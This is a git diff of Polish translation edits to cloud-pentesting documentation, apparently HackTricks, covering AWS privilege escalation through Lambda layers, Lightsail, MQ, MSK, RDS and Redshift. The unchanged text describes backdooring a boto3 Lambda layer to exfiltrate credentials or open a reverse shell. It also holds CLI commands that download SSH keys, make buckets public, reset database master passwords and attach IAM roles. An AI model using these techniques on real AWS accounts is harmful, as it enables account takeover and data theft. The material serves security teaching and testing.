@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
-To są miejsca:
+Oto miejsca:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -202,20 +202,20 @@ Na przykład, biblioteka boto3 jest ładowana z `/var/runtime/boto3` (4. pozycja
#### Wykorzystanie
-Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, również zauważ, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam.
+Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, zauważ również, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam.
Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z najnowszą wersją biblioteki:
```bash
pip3 install -t ./lambda_layer boto3
```
-Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki na przykład).
+Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania powrotnego powłoki na przykład).
Następnie spakuj ten katalog `./lambda_layer` i **prześlij nową warstwę lambda** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).\
Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być **kompatybilna z wersją pythona** używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi być w **tej samej strefie:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
-Teraz spraw, aby przesłana warstwa lambda była **dostępna dla każdego konta**:
+Teraz spraw, aby przesyłana warstwa lambda była **dostępna dla każdego konta**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 0bd7f7cc0..8de26a773 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -11,11 +11,11 @@ Aby uzyskać więcej informacji o Lightsail, sprawdź:
{{#endref}}
> [!WARNING]
-> Ważne jest, aby zauważyć, że Lightsail **nie używa ról IAM należących do użytkownika**, ale do zarządzanego konta AWS, więc nie możesz nadużywać tej usługi do privesc. Jednak **wrażliwe dane**, takie jak kod, klucze API i informacje o bazach danych, mogą być dostępne w tej usłudze.
+> Ważne jest, aby zauważyć, że Lightsail **nie używa ról IAM należących do użytkownika**, lecz do zarządzanego konta AWS, więc nie możesz nadużyć tej usługi do privesc. Jednak **wrażliwe dane**, takie jak kod, klucze API i informacje o bazach danych, mogą być znalezione w tej usłudze.
### `lightsail:DownloadDefaultKeyPair`
-To uprawnienie pozwoli Ci uzyskać klucze SSH do uzyskania dostępu do instancji:
+To uprawnienie pozwoli ci uzyskać klucze SSH do uzyskania dostępu do instancji:
```
aws lightsail download-default-key-pair
```
@@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name
### `lightsail:CreateBucketAccessKey`
-To uprawnienie pozwoli Ci uzyskać klucz do dostępu do koszyka:
+To uprawnienie pozwoli ci uzyskać klucz do dostępu do koszyka:
```bash
aws lightsail create-bucket-access-key --bucket-name
```
@@ -75,11 +75,11 @@ aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
```
-**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych portów.
+**Potencjalny wpływ:** Dostęp do wrażliwych portów.
### `lightsail:SetResourceAccessForBucket`
-Te uprawnienia pozwalają na przyznanie instancjom dostępu do koszyka bez dodatkowych poświadczeń.
+To uprawnienie pozwala na przyznanie instancjom dostępu do koszyka bez dodatkowych poświadczeń.
```bash
aws set-resource-access-for-bucket \
--resource-name \
@@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \
### `lightsail:UpdateBucket`
-Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:
+Dzięki temu uprawnieniu atakujący mógłby przyznać własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:
```bash
# Grant read access to exterenal account
aws update-bucket --bucket-name --readonly-access-accounts
@@ -101,7 +101,7 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub
# Bucket private but single objects can be public
aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true
```
-**Potencjalny wpływ:** Potencjalny nowy dostęp do kubełków z wrażliwymi informacjami.
+**Potencjalny wpływ:** Potencjalny nowy dostęp do koszyków z wrażliwymi informacjami.
### `lightsail:UpdateContainerService`
@@ -115,7 +115,7 @@ aws update-container-service \
### `lightsail:CreateDomainEntry`
-Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP.
+Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, a nawet ustawić główną domenę na swój własny adres IP.
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
index e2a2e4949..67c1fac26 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -14,7 +14,7 @@ Zmienia nazwę użytkownika i hasło pierwszego IngestEndpoint kanału. (To API
```bash
aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
```
-## References
+## Odniesienia
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 48f159310..55b5e7c36 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -27,7 +27,7 @@ aws mq list-brokers
aws mq list-users --broker-id
aws mq update-user --broker-id --console-access --password --username
```
-**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych informacji poprzez nawigację w ActiveMQ
+**Potencjalny wpływ:** Dostęp do wrażliwych informacji poprzez nawigację w ActiveMQ
### `mq:ListBrokers`, `mq:UpdateBroker`
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index 865fe83ea..03678172f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -16,7 +16,7 @@ Dzięki tym **uprawnieniom** i **dostępowi do VPC, w którym znajdują się bro
```bash
aws msk --client-authentication --cluster-arn --current-version
```
-Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** udostępnionym. Jeśli jest publicznie udostępniony, jeśli **używane jest uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\
-Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie udostępniona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenie na dostęp do niej.
+Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** wystawionym. Jeśli jest publicznie wystawiony, jeśli używane jest **uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\
+Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie wystawiona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenia na dostęp do niej.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index b0498fd44..e96d78fd2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
-## RDS - Usługa Relacyjnej Bazy Danych
+## RDS - Relacyjna Usługa Baz Danych
-Aby uzyskać więcej informacji na temat RDS, sprawdź:
+Aby uzyskać więcej informacji o RDS, sprawdź:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat RDS, sprawdź:
### `rds:ModifyDBInstance`
-Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie do bazy danych:
+Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie w bazie danych:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,7 +27,7 @@ aws rds modify-db-instance \
psql postgresql://:@:5432/
```
> [!WARNING]
-> Będziesz musiał **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci).
+> Będziesz musiał być w stanie **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci).
**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych.
@@ -48,7 +48,7 @@ SELECT * FROM pg_extension;
```
Jeśli znajdziesz coś takiego jak **`aws_s3`**, możesz założyć, że ta baza danych ma **jakiegoś rodzaju dostęp do S3** (są inne rozszerzenia, takie jak **`aws_ml`** i **`aws_lambda`**).
-Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz zobaczyć, czy **klaster ma przypisaną jakąkolwiek rolę IAM** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych była **przygotowana do uzyskania dostępu do innych usług AWS**. Na podstawie **nazwa roli** (lub jeśli możesz uzyskać **uprawnienia** roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych.
+Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz zobaczyć, czy **klaster ma przypisaną jakąkolwiek rolę IAM** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych była **przygotowana do dostępu do innych usług AWS**. Na podstawie **nazwa roli** (lub jeśli możesz uzyskać **uprawnienia** roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych.
Teraz, aby **przeczytać plik w obrębie bucketu**, musisz znać pełną ścieżkę. Możesz to przeczytać za pomocą:
```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
-Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś je również wykorzystać do uzyskania dostępu do danych S3 za pomocą:
+Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
-> Postgresql **nie musi zmieniać żadnej zmiennej grupy parametrów**, aby uzyskać dostęp do S3.
+> Postgresql **nie wymaga zmiany żadnej zmiennej grupy parametrów**, aby uzyskać dostęp do S3.
#### Mysql (Aurora)
@@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
Wewnątrz mysql uruchom **`show variables;`** i jeśli zmienne takie jak **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** mają wartości, możesz założyć, że baza danych jest przygotowana do uzyskania dostępu do danych S3.
-Ponadto, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz sprawdzić, czy klaster ma jakąkolwiek **powiązaną rolę**, co zazwyczaj oznacza dostęp do usług AWS.
+Ponadto, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz sprawdzić, czy klaster ma jakąkolwiek **powiązaną rolę**, co zazwyczaj oznacza dostęp do usług AWS).
Teraz, aby **przeczytać plik w obrębie bucketu**, musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą:
```sql
@@ -100,7 +100,7 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
-Napastnik z uprawnieniami `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić napastnikowi **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji.
+Atakujący z uprawnieniami `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić atakującemu **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji.
```bash
aws add-role-to-db-cluster --db-cluster-identifier --role-arn
```
@@ -124,7 +124,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO: Test
-Napastnik z uprawnieniami `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z przypisaną określoną rolą**. Napastnik może następnie potencjalnie **uzyskać dostęp do wrażliwych danych** lub zmodyfikować dane w obrębie instancji.
+Atakujący z uprawnieniami `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z przypisaną określoną rolą**. Atakujący może następnie potencjalnie **uzyskać dostęp do wrażliwych danych** lub zmodyfikować dane w instancji.
> [!WARNING]
> Niektóre wymagania dotyczące roli/profilu instancji do przypisania (z [**tutaj**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
@@ -139,10 +139,10 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
### `rds:AddRoleToDBInstance`, `iam:PassRole`
-Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu na **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji.
+Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić atakującemu **dostęp do wrażliwych danych** lub modyfikację danych w instancji.
> [!WARNING]
-> Instancja DB musi być poza klastrem, aby to było możliwe.
+> Instancja DB musi być poza klastrem, aby to zadziałało.
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index 2360898b7..bd9dee4dd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-Możliwe jest **zmodyfikowanie hasła głównego** użytkownika wewnętrznego postgres (redshift) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem):
+Możliwe jest **zmodyfikowanie hasła głównego** użytkownika postgres (redshit) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem):
```
aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’;
```
@@ -46,7 +46,7 @@ aws redshift modify-cluster –cluster-identifier